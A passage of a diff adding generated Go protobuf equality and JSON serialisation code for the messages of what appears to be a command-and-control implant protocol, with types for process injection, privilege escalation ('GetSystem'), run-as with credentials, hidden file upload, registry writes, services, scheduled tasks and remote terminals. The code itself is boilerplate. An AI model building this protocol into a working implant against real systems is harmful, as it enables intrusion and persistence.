*DriveInfo) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Path != that.Path { + return false + } + if this.DriveType != that.DriveType { + return false + } + if this.TotalSize != that.TotalSize { + return false + } + if this.FreeSize != that.FreeSize { + return false + } + if this.FileSystem != that.FileSystem { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *DriveInfo) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*DriveInfo) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *EnumDriversResponse) EqualVT(that *EnumDriversResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Drives) != len(that.Drives) { + return false + } + for i, vx := range this.Drives { + vy := that.Drives[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &DriveInfo{} + } + if q == nil { + q = &DriveInfo{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *EnumDriversResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*EnumDriversResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *PsResponse) EqualVT(that *PsResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Processes) != len(that.Processes) { + return false + } + for i, vx := range this.Processes { + vy := that.Processes[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &Process{} + } + if q == nil { + q = &Process{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *PsResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*PsResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ExecRequest) EqualVT(that *ExecRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Path != that.Path { + return false + } + if len(this.Args) != len(that.Args) { + return false + } + for i, vx := range this.Args { + vy := that.Args[i] + if vx != vy { + return false + } + } + if this.Output != that.Output { + return false + } + if this.Singleton != that.Singleton { + return false + } + if this.Realtime != that.Realtime { + return false + } + if this.Ppid != that.Ppid { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ExecRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ExecRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ExecResponse) EqualVT(that *ExecResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.StatusCode != that.StatusCode { + return false + } + if string(this.Stdout) != string(that.Stdout) { + return false + } + if string(this.Stderr) != string(that.Stderr) { + return false + } + if this.Pid != that.Pid { + return false + } + if this.End != that.End { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ExecResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ExecResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *BinaryResponse) EqualVT(that *BinaryResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if string(this.Data) != string(that.Data) { + return false + } + if string(this.Message) != string(that.Message) { + return false + } + if this.Status != that.Status { + return false + } + if this.Err != that.Err { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *BinaryResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*BinaryResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Modules) EqualVT(that *Modules) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Modules) != len(that.Modules) { + return false + } + for i, vx := range this.Modules { + vy := that.Modules[i] + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Modules) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Modules) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Addons) EqualVT(that *Addons) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Addons) != len(that.Addons) { + return false + } + for i, vx := range this.Addons { + vy := that.Addons[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &Addon{} + } + if q == nil { + q = &Addon{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Addons) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Addons) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Addon) EqualVT(that *Addon) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Type != that.Type { + return false + } + if this.Depend != that.Depend { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Addon) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Addon) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *LoadModule) EqualVT(that *LoadModule) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Bundle != that.Bundle { + return false + } + if string(this.Bin) != string(that.Bin) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *LoadModule) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*LoadModule) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *LoadAddon) EqualVT(that *LoadAddon) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Type != that.Type { + return false + } + if this.Depend != that.Depend { + return false + } + if string(this.Bin) != string(that.Bin) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *LoadAddon) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*LoadAddon) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ExecuteAddon) EqualVT(that *ExecuteAddon) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Addon != that.Addon { + return false + } + if !this.ExecuteBinary.EqualVT(that.ExecuteBinary) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ExecuteAddon) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ExecuteAddon) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ExecuteBinary) EqualVT(that *ExecuteBinary) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if string(this.Bin) != string(that.Bin) { + return false + } + if len(this.Param) != len(that.Param) { + return false + } + for i, vx := range this.Param { + vy, ok := that.Param[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + if this.Type != that.Type { + return false + } + if this.ProcessName != that.ProcessName { + return false + } + if len(this.Args) != len(that.Args) { + return false + } + for i, vx := range this.Args { + vy := that.Args[i] + if vx != vy { + return false + } + } + if this.EntryPoint != that.EntryPoint { + return false + } + if string(this.Data) != string(that.Data) { + return false + } + if this.Output != that.Output { + return false + } + if this.Arch != that.Arch { + return false + } + if this.Timeout != that.Timeout { + return false + } + if !this.Sacrifice.EqualVT(that.Sacrifice) { + return false + } + if this.Path != that.Path { + return false + } + if this.Context != that.Context { + return false + } + if this.Delay != that.Delay { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ExecuteBinary) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ExecuteBinary) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ExecuteCommand) EqualVT(that *ExecuteCommand) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Command != that.Command { + return false + } + if !this.Sacrifice.EqualVT(that.Sacrifice) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ExecuteCommand) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ExecuteCommand) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *UploadRequest) EqualVT(that *UploadRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Target != that.Target { + return false + } + if this.Priv != that.Priv { + return false + } + if string(this.Data) != string(that.Data) { + return false + } + if this.Hidden != that.Hidden { + return false + } + if this.Override != that.Override { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *UploadRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*UploadRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *DownloadRequest) EqualVT(that *DownloadRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Path != that.Path { + return false + } + if this.Name != that.Name { + return false + } + if this.BufferSize != that.BufferSize { + return false + } + if this.Dir != that.Dir { + return false + } + if this.Cur != that.Cur { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *DownloadRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*DownloadRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *DownloadResponse) EqualVT(that *DownloadResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Checksum != that.Checksum { + return false + } + if this.Size != that.Size { + return false + } + if this.Cur != that.Cur { + return false + } + if string(this.Content) != string(that.Content) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *DownloadResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*DownloadResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *CurlRequest) EqualVT(that *CurlRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Url != that.Url { + return false + } + if this.Timeout != that.Timeout { + return false + } + if this.Method != that.Method { + return false + } + if string(this.Body) != string(that.Body) { + return false + } + if len(this.Header) != len(that.Header) { + return false + } + for i, vx := range this.Header { + vy, ok := that.Header[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + if this.Hostname != that.Hostname { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *CurlRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*CurlRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ChownRequest) EqualVT(that *ChownRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Path != that.Path { + return false + } + if this.Uid != that.Uid { + return false + } + if this.Gid != that.Gid { + return false + } + if this.Recursive != that.Recursive { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ChownRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ChownRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *IfconfigResponse) EqualVT(that *IfconfigResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.NetInterfaces) != len(that.NetInterfaces) { + return false + } + for i, vx := range this.NetInterfaces { + vy := that.NetInterfaces[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &NetInterface{} + } + if q == nil { + q = &NetInterface{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *IfconfigResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*IfconfigResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *RegistryRequest) EqualVT(that *RegistryRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Type != that.Type { + return false + } + if !this.Registry.EqualVT(that.Registry) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *RegistryRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*RegistryRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Registry) EqualVT(that *Registry) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Hive != that.Hive { + return false + } + if this.Path != that.Path { + return false + } + if this.Key != that.Key { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Registry) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Registry) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *RegistryWriteRequest) EqualVT(that *RegistryWriteRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Hive != that.Hive { + return false + } + if this.Path != that.Path { + return false + } + if this.Key != that.Key { + return false + } + if this.StringValue != that.StringValue { + return false + } + if string(this.ByteValue) != string(that.ByteValue) { + return false + } + if this.DwordValue != that.DwordValue { + return false + } + if this.QwordValue != that.QwordValue { + return false + } + if this.Regtype != that.Regtype { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *RegistryWriteRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*RegistryWriteRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *TaskScheduleRequest) EqualVT(that *TaskScheduleRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Type != that.Type { + return false + } + if !this.Taskschd.EqualVT(that.Taskschd) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *TaskScheduleRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*TaskScheduleRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *TaskSchedule) EqualVT(that *TaskSchedule) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Path != that.Path { + return false + } + if this.ExecutablePath != that.ExecutablePath { + return false + } + if this.TriggerType != that.TriggerType { + return false + } + if this.StartBoundary != that.StartBoundary { + return false + } + if this.Description != that.Description { + return false + } + if this.Enabled != that.Enabled { + return false + } + if this.LastRunTime != that.LastRunTime { + return false + } + if this.NextRunTime != that.NextRunTime { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *TaskSchedule) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*TaskSchedule) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *TaskSchedulesResponse) EqualVT(that *TaskSchedulesResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Schedules) != len(that.Schedules) { + return false + } + for i, vx := range this.Schedules { + vy := that.Schedules[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &TaskSchedule{} + } + if q == nil { + q = &TaskSchedule{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *TaskSchedulesResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*TaskSchedulesResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ServiceRequest) EqualVT(that *ServiceRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Type != that.Type { + return false + } + if !this.Service.EqualVT(that.Service) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ServiceRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ServiceRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ServiceConfig) EqualVT(that *ServiceConfig) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.DisplayName != that.DisplayName { + return false + } + if this.ExecutablePath != that.ExecutablePath { + return false + } + if this.StartType != that.StartType { + return false + } + if this.ErrorControl != that.ErrorControl { + return false + } + if this.AccountName != that.AccountName { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ServiceConfig) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ServiceConfig) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ServiceStatus) EqualVT(that *ServiceStatus) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.CurrentState != that.CurrentState { + return false + } + if this.ProcessId != that.ProcessId { + return false + } + if this.ExitCode != that.ExitCode { + return false + } + if this.Checkpoint != that.Checkpoint { + return false + } + if this.WaitHint != that.WaitHint { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ServiceStatus) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ServiceStatus) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Service) EqualVT(that *Service) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if !this.Config.EqualVT(that.Config) { + return false + } + if !this.Status.EqualVT(that.Status) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Service) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Service) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ServicesResponse) EqualVT(that *ServicesResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Services) != len(that.Services) { + return false + } + for i, vx := range this.Services { + vy := that.Services[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &Service{} + } + if q == nil { + q = &Service{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ServicesResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ServicesResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *WmiQueryRequest) EqualVT(that *WmiQueryRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Namespace != that.Namespace { + return false + } + if len(this.Args) != len(that.Args) { + return false + } + for i, vx := range this.Args { + vy := that.Args[i] + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *WmiQueryRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*WmiQueryRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *WmiMethodRequest) EqualVT(that *WmiMethodRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Namespace != that.Namespace { + return false + } + if this.ClassName != that.ClassName { + return false + } + if this.MethodName != that.MethodName { + return false + } + if len(this.Params) != len(that.Params) { + return false + } + for i, vx := range this.Params { + vy, ok := that.Params[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *WmiMethodRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*WmiMethodRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *RunAsRequest) EqualVT(that *RunAsRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Username != that.Username { + return false + } + if this.Domain != that.Domain { + return false + } + if this.Password != that.Password { + return false + } + if this.Program != that.Program { + return false + } + if this.Args != that.Args { + return false + } + if this.UseProfile != that.UseProfile { + return false + } + if this.Netonly != that.Netonly { + return false + } + if this.UseEnv != that.UseEnv { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *RunAsRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*RunAsRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *GetSystem) EqualVT(that *GetSystem) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if string(this.Bin) != string(that.Bin) { + return false + } + if this.Pid != that.Pid { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *GetSystem) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*GetSystem) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Inject) EqualVT(that *Inject) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if string(this.Bin) != string(that.Bin) { + return false + } + if this.Pid != that.Pid { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Inject) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Inject) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Pipe) EqualVT(that *Pipe) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Target != that.Target { + return false + } + if string(this.Data) != string(that.Data) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Pipe) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Pipe) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *PipeRequest) EqualVT(that *PipeRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Type != that.Type { + return false + } + if !this.Pipe.EqualVT(that.Pipe) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *PipeRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*PipeRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Switch) EqualVT(that *Switch) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Urls) != len(that.Urls) { + return false + } + for i, vx := range this.Urls { + vy := that.Urls[i] + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Switch) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Switch) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *TaskCtrl) EqualVT(that *TaskCtrl) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.TaskId != that.TaskId { + return false + } + if this.Op != that.Op { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *TaskCtrl) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*TaskCtrl) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *TaskInfo) EqualVT(that *TaskInfo) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.TaskId != that.TaskId { + return false + } + if this.Last != that.Last { + return false + } + if this.RecvCount != that.RecvCount { + return false + } + if this.SendCount != that.SendCount { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *TaskInfo) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*TaskInfo) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *TaskListResponse) EqualVT(that *TaskListResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Tasks) != len(that.Tasks) { + return false + } + for i, vx := range this.Tasks { + vy := that.Tasks[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &TaskInfo{} + } + if q == nil { + q = &TaskInfo{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *TaskListResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*TaskListResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *FFmpegRequest) EqualVT(that *FFmpegRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Action != that.Action { + return false + } + if this.DeviceName != that.DeviceName { + return false + } + if this.OutputFormat != that.OutputFormat { + return false + } + if this.OutputPath != that.OutputPath { + return false + } + if this.Time != that.Time { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *FFmpegRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*FFmpegRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *PtyRequest) EqualVT(that *PtyRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Type != that.Type { + return false + } + if this.SessionId != that.SessionId { + return false + } + if this.Shell != that.Shell { + return false + } + if this.Cols != that.Cols { + return false + } + if this.Rows != that.Rows { + return false + } + if string(this.InputData) != string(that.InputData) { + return false + } + if this.InputText != that.InputText { + return false + } + if len(this.Params) != len(that.Params) { + return false + } + for i, vx := range this.Params { + vy, ok := that.Params[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *PtyRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*PtyRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *PtyResponse) EqualVT(that *PtyResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.SessionId != that.SessionId { + return false + } + if string(this.OutputData) != string(that.OutputData) { + return false + } + if this.OutputText != that.OutputText { + return false + } + if this.Error != that.Error { + return false + } + if this.SessionActive != that.SessionActive { + return false + } + if len(this.ActiveSessions) != len(that.ActiveSessions) { + return false + } + for i, vx := range this.ActiveSessions { + vy := that.ActiveSessions[i] + if vx != vy { + return false + } + } + if len(this.Metadata) != len(that.Metadata) { + return false + } + for i, vx := range this.Metadata { + vy, ok := that.Metadata[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *PtyResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*PtyResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *CommonBody) EqualVT(that *CommonBody) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if len(this.U32Array) != len(that.U32Array) { + return false + } + for i, vx := range this.U32Array { + vy := that.U32Array[i] + if vx != vy { + return false + } + } + if len(this.U64Array) != len(that.U64Array) { + return false + } + for i, vx := range this.U64Array { + vy := that.U64Array[i] + if vx != vy { + return false + } + } + if len(this.BoolArray) != len(that.BoolArray) { + return false + } + for i, vx := range this.BoolArray { + vy := that.BoolArray[i] + if vx != vy { + return false + } + } + if len(this.StringArray) != len(that.StringArray) { + return false + } + for i, vx := range this.StringArray { + vy := that.StringArray[i] + if vx != vy { + return false + } + } + if len(this.BytesArray) != len(that.BytesArray) { + return false + } + for i, vx := range this.BytesArray { + vy := that.BytesArray[i] + if string(vx) != string(vy) { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *CommonBody) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*CommonBody) + if !ok { + return false + } + return this.EqualVT(that) +} + +// MarshalProtoJSON marshals the Ping message to JSON. +func (x *Ping) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Nonce != 0 || s.HasField("nonce") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("nonce") + s.WriteInt32(x.Nonce) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Ping to JSON. +func (x *Ping) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Ping message from JSON. +func (x *Ping) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "nonce": + s.AddField("nonce") + x.Nonce = s.ReadInt32() + } + }) +} + +// UnmarshalJSON unmarshals the Ping from JSON. +func (x *Ping) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Register message to JSON. +func (x *Register) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Proxy != "" || s.HasField("proxy") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("proxy") + s.WriteString(x.Proxy) + } + if len(x.Module) > 0 || s.HasField("module") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("module") + s.WriteStringArray(x.Module) + } + if len(x.Addons) > 0 || s.HasField("addons") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("addons") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Addons { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("addons")) + } + s.WriteArrayEnd() + } + if x.Timer != nil || s.HasField("timer") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("timer") + x.Timer.MarshalProtoJSON(s.WithField("timer")) + } + if x.Sysinfo != nil || s.HasField("sysinfo") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sysinfo") + x.Sysinfo.MarshalProtoJSON(s.WithField("sysinfo")) + } + if x.Secure != nil || s.HasField("secure") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("secure") + x.Secure.MarshalProtoJSON(s.WithField("secure")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Register to JSON. +func (x *Register) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Register message from JSON. +func (x *Register) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "proxy": + s.AddField("proxy") + x.Proxy = s.ReadString() + case "module": + s.AddField("module") + if s.ReadNil() { + x.Module = nil + return + } + x.Module = s.ReadStringArray() + case "addons": + s.AddField("addons") + if s.ReadNil() { + x.Addons = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Addons = append(x.Addons, nil) + return + } + v := &Addon{} + v.UnmarshalProtoJSON(s.WithField("addons", false)) + if s.Err() != nil { + return + } + x.Addons = append(x.Addons, v) + }) + case "timer": + if s.ReadNil() { + x.Timer = nil + return + } + x.Timer = &Timer{} + x.Timer.UnmarshalProtoJSON(s.WithField("timer", true)) + case "sysinfo": + if s.ReadNil() { + x.Sysinfo = nil + return + } + x.Sysinfo = &SysInfo{} + x.Sysinfo.UnmarshalProtoJSON(s.WithField("sysinfo", true)) + case "secure": + if s.ReadNil() { + x.Secure = nil + return + } + x.Secure = &Secure{} + x.Secure.UnmarshalProtoJSON(s.WithField("secure", true)) + } + }) +} + +// UnmarshalJSON unmarshals the Register from JSON. +func (x *Register) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Secure message to JSON. +func (x *Secure) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Enable || s.HasField("enable") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("enable") + s.WriteBool(x.Enable) + } + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Type != "" || s.HasField("type") { + 